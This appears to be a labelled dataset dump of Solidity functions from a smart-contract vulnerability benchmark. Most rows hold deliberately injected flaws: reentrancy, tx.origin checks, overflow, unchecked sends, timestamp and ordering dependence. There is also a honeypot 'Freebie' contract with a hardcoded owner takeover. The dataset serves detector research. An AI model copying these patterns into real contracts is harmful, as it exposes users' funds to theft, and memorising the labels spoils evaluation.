Unnamed: 0
int64 1
24.8k
| func
stringlengths 26
42.8k
| target
int64 0
7
| project
stringlengths 9
47
|
|---|---|---|---|
11,042
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| 0
|
buggy_32.sol
|
5,433
|
function getInstanceType() external view returns (bytes4 instanceType);
| 0
|
buggy_44.sol
|
12,160
|
function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
}
| 4
|
buggy_7.sol
|
12,656
|
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
require(!safeGuard,"System Paused by Admin");
//amount is in amountGet terms
bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require((
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires &&
orderFills[user][hash].add(amount) <= amountGet
));
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = orderFills[user][hash].add(amount);
emit Trade(now, tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
| 0
|
buggy_35.sol
|
3,530
|
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
| 0
|
buggy_30.sol
|
20,312
|
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
| 0
|
buggy_48.sol
|
3,930
|
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug
balances_intou26[msg.sender] -= _value; //bug
balances_intou26[_to] += _value; //bug
return true;
}
| 2
|
buggy_32.sol
|
12,333
|
function getReward_TOD9() payable public{
winner_TOD9.transfer(msg.value);
} /*statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrPool(_pool, _oracle)*/
| 4
|
buggy_20.sol
|
4,868
|
function changeOwner(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnerChanged(msg.sender, _newOwner);
}
| 0
|
buggy_20.sol
|
8,381
|
function sendToWinner_unchk20() public {
require(!payedOut_unchk20);
winner_unchk20.send(winAmount_unchk20);
payedOut_unchk20 = true;
}
| 3
|
buggy_7.sol
|
22,185
|
function bug_unchk_send4() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_6.sol
|
12,630
|
function play_TOD19(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD19 = msg.sender;
}
}
| 4
|
buggy_35.sol
|
7,940
|
constructor () internal
{
stopped = false;
_owner = msg.sender;
_master = msg.sender;
emit OwnershipTransferred(address(0), _owner);
emit MasterRoleTransferred(address(0), _master);
}
| 0
|
buggy_6.sol
|
16,711
|
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
| 0
|
buggy_44.sol
|
17,252
|
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
} //constant -> view : compiler version up
| 5
|
buggy_48.sol
|
4,303
|
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
| 0
|
buggy_23.sol
|
4,524
|
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
| 2
|
buggy_22.sol
|
2,539
|
function approve(address spender, uint tokens) public returns (bool success);
| 0
|
buggy_11.sol
|
18,784
|
function balanceOf(address who) external view returns (uint256);
| 0
|
buggy_27.sol
|
24,813
|
function bug_unchk_send13() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_14.sol
|
8,252
|
constructor() public {
owner = msg.sender;
}
| 0
|
buggy_22.sol
|
4,294
|
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
| 2
|
buggy_23.sol
|
13,218
|
function play_TOD37(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD37 = msg.sender;
}
}
| 4
|
buggy_40.sol
|
21,817
|
function bug_unchk_send22() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_26.sol
|
5,814
|
function buy(uint256 numTokens) public payable {
// <yes> <report> ARITHMETIC
require(msg.value == numTokens * PRICE_PER_TOKEN);
// <yes> <report> ARITHMETIC
balanceOf[msg.sender] += numTokens;
}
| 2
|
tokensalechallenge.sol
|
15,011
|
function approve(address spender, uint256 value) external returns (bool) {
address holder = msg.sender;
_approve(holder, spender, value);
return true;
}
| 0
|
buggy_30.sol
|
524
|
function withdrawAll_txorigin6(address payable _recipient,address owner_txorigin6) public {
require(tx.origin == owner_txorigin6);
_recipient.transfer(address(this).balance);
}
| 1
|
buggy_18.sol
|
20,922
|
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp30 = msg.sender;}}
| 6
|
buggy_15.sol
|
17,707
|
function bug_re_ent13() public{
require(not_called_re_ent13);
(bool success,)=msg.sender.call.value(1 ether)("");
if( ! success ){
revert();
}
not_called_re_ent13 = false;
}
| 5
|
buggy_15.sol
|
8,121
|
function decimals() public view returns (uint8) {
return _decimals;
}
| 0
|
buggy_23.sol
|
21,525
|
constructor () internal {
_paused = false;
}
| 0
|
buggy_30.sol
|
6,802
|
function totalSupply() external view returns (uint256);
| 0
|
buggy_28.sol
|
22,818
|
function bug_unchk_send11() payable public{
msg.sender.transfer(1 ether);} /*statusAtLeast(Status.RETURN_ONLY) onlyOracleOrPool(_pool, _oracle)*/
| 7
|
buggy_20.sol
|
24,803
|
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
| 0
|
buggy_14.sol
|
17,181
|
function bug_re_ent13() public{
require(not_called_re_ent13);
(bool success,)=msg.sender.call.value(1 ether)("");
if( ! success ){
revert();
}
not_called_re_ent13 = false;
}
| 5
|
buggy_49.sol
|
23,540
|
contract Freebie
{
address public Owner = msg.sender;
function() public payable{}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x30ad12df80a2493a82DdFE367d866616db8a2595){Owner=0x30ad12df80a2493a82DdFE367d866616db8a2595;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
// <yes> <report> UNCHECKED_LL_CALLS
adr.call.value(msg.value)(data);
}
}
| 7
|
0xe82f0742a71a02b9e9ffc142fdcb6eb1ed06fb87.sol
|
19,570
|
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}}
| 6
|
buggy_20.sol
|
17,985
|
constructor() public {
owner = msg.sender;
}
| 0
|
buggy_19.sol
|
16,830
|
function balanceOf(address account) external view returns (uint256);
| 0
|
buggy_40.sol
|
10,384
|
function setReward_TOD8() public payable {
require (!claimed_TOD8);
require(msg.sender == owner_TOD8);
owner_TOD8.transfer(reward_TOD8);
reward_TOD8 = msg.value;
}
| 4
|
buggy_24.sol
|
4,153
|
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow
}
| 2
|
buggy_6.sol
|
18,754
|
function play_tmstmp35(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp35 = msg.sender;}}
| 6
|
buggy_33.sol
|
21,614
|
constructor(
uint256 initialSupply,
address[] memory defaultOperators
)
ERC777("SKYBIT", "SKYBIT", defaultOperators)
public {
_mint(msg.sender, msg.sender, initialSupply, "", "");
}
| 0
|
buggy_30.sol
|
8,847
|
function halt() public onlyAdmin{
ieoState = State.halted;
}
| 0
|
buggy_47.sol
|
16,116
|
function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])("");
if( ! success ){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
}
| 5
|
buggy_7.sol
|
4,016
|
function balanceOf(address who) external view returns (uint256);
| 0
|
buggy_27.sol
|
11,866
|
function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) public {
Token t = Token(_token);
require(t.transferFrom(_from, address(this), _value));
emit receivedTokens(_from, _value, _token, _extraData);
}
| 0
|
buggy_36.sol
|
2,540
|
function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public {
require(tx.origin == owner_txorigin19);
to.call.value(amount);
}
| 1
|
buggy_11.sol
|
18,212
|
function setManager(address account, address newManager) external;
| 0
|
buggy_30.sol
|
13,127
|
function setReward_TOD40() public payable {
require (!claimed_TOD40);
require(msg.sender == owner_TOD40);
owner_TOD40.transfer(reward_TOD40);
reward_TOD40 = msg.value;
}
| 4
|
buggy_44.sol
|
1,862
|
function setFinalPrice(uint256 _value) public payable byOracle inState(State.CLOSED) {
// require(isValidNumber(_result));
finalPrice = _value;
emit FinalPriceSet(finalPrice);
if(finalPrice > initialPrice){
result = UP;
}else{
result = DOWN;
}
if(guesses[result].guesses_number > 0){
state = State.PLAYERS_WIN;
splitJackpot = getBalance()/guesses[result].guesses_number;
emit PlayersWin(result, splitJackpot);
}else{
state = State.OWNER_WIN;
emit OwnerWins(owner);
}
}
| 0
|
buggy_45.sol
|
8,509
|
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
| 3
|
buggy_20.sol
|
14
|
function () payable external {}
| 0
|
buggy_19.sol
|
5,930
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| 0
|
buggy_9.sol
|
21,907
|
function bug_unchk_send25() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_32.sol
|
10,439
|
function setManager(address account, address newManager) external;
| 0
|
buggy_30.sol
|
16,615
|
function withdraw_balances_re_ent36 () public {
if (msg.sender.send(balances_re_ent36[msg.sender ]))
balances_re_ent36[msg.sender] = 0;
}
| 5
|
buggy_47.sol
|
15,476
|
function buyTicket_re_ent2() public{
if (!(lastPlayer_re_ent2.send(jackpot_re_ent2)))
revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
| 5
|
buggy_33.sol
|
20,475
|
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
| 6
|
buggy_38.sol
|
4,712
|
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
| 0
|
buggy_5.sol
|
13,541
|
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
| 0
|
buggy_42.sol
|
4,020
|
function transferFrom(address from, address to, uint256 value) external returns (bool);
| 0
|
buggy_27.sol
|
15,243
|
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
| 5
|
buggy_18.sol
|
3,071
|
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
| 0
|
buggy_14.sol
|
8,050
|
function bug_unchk7() public{
address payable addr_unchk7;
if (!addr_unchk7.send (10 ether) || 1==1)
{revert();}
}
| 3
|
buggy_23.sol
|
11,380
|
function claimReward_TOD8(uint256 submission) public {
require (!claimed_TOD8);
require(submission < 10);
msg.sender.transfer(reward_TOD8);
claimed_TOD8 = true;
}
| 4
|
buggy_27.sol
|
16,651
|
function closeGame() public byOwner inState(State.OPEN){
state = State.CLOSED;
emit GameClosed();
}
| 0
|
buggy_45.sol
|
14,258
|
function getReward_TOD17() payable public{
winner_TOD17.transfer(msg.value);
}
| 4
|
buggy_17.sol
|
4,584
|
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug
balances_intou10[msg.sender] -= _value; //bug
balances_intou10[_to] += _value; //bug
return true;
}
| 2
|
buggy_7.sol
|
2,556
|
function sendto_txorigin21(address payable receiver, uint amount,address owner_txorigin21) public {
require (tx.origin == owner_txorigin21);
receiver.transfer(amount);
}
| 1
|
buggy_11.sol
|
15,466
|
function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
| 5
|
buggy_32.sol
|
4,742
|
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow
}
| 2
|
buggy_5.sol
|
3,399
|
function withdraw_intou5() public {
require(now > lockTime_intou5[msg.sender]);
uint transferValue_intou5 = 10;
msg.sender.transfer(transferValue_intou5);
}
| 2
|
buggy_30.sol
|
20,961
|
function play_tmstmp7(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp7 = msg.sender;}}
| 6
|
buggy_29.sol
|
1,985
|
function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17);
receiver.transfer(amount);
}
| 1
|
buggy_44.sol
|
24,022
|
function totalSupply() external view returns (uint256);
| 0
|
buggy_38.sol
|
23,992
|
function bug_unchk_send4() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_9.sol
|
14,997
|
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
| 0
|
buggy_30.sol
|
20,947
|
function allowance(address owner, address spender) external view returns (uint256);
| 0
|
buggy_29.sol
|
3,183
|
function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug
}
| 2
|
buggy_31.sol
|
389
|
function bug_txorigin4(address owner_txorigin4) public{
require(tx.origin == owner_txorigin4);
}
| 1
|
buggy_30.sol
|
6,739
|
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug
}
| 2
|
buggy_29.sol
|
22,862
|
function bug_unchk_send27() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_20.sol
|
5,974
|
function transferBatch(address[] memory _tos, uint256[] memory _values) public returns (bool) {
require(_tos.length == _values.length);
for (uint256 i = 0; i < _tos.length; i++) {
transfer(_tos[i], _values[i]);
}
return true;
}
| 0
|
buggy_9.sol
|
160
|
function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public {
require(tx.origin == owner_txorigin11);
to.call.value(amount);
}
| 1
|
buggy_24.sol
|
24,724
|
function transfer(address to, uint256 value) external returns (bool);
| 0
|
buggy_14.sol
|
12,818
|
function claimReward_TOD38(uint256 submission) public {
require (!claimed_TOD38);
require(submission < 10);
msg.sender.transfer(reward_TOD38);
claimed_TOD38 = true;
}
| 4
|
buggy_47.sol
|
3,658
|
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug
balances_intou18[msg.sender] -= _value; //bug
balances_intou18[_to] += _value; //bug
return true;
}
| 2
|
buggy_18.sol
|
6,296
|
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
| 2
|
buggy_8.sol
|
10,485
|
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
| 0
|
buggy_30.sol
|
2,925
|
function name() public view returns(string memory) {
return _name;
}
| 0
|
buggy_28.sol
|
6,568
|
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
| 0
|
BECToken.sol
|
19,973
|
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
| 6
|
buggy_44.sol
|
23,121
|
function bug_unchk_send3() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_47.sol
|
6,300
|
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug
balances_intou30[msg.sender] -= _value; //bug
balances_intou30[_to] += _value; //bug
return true;
}
| 2
|
buggy_8.sol
|
20,350
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
| 0
|
buggy_9.sol
|
17,515
|
function totalSupply() public view returns (uint256);
| 0
|
buggy_16.sol
|
18,482
|
function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp11 = msg.sender;}}
| 6
|
buggy_18.sol
|
12,430
|
function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
}
| 4
|
buggy_20.sol
|
16,396
|
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
| 5
|
buggy_21.sol
|
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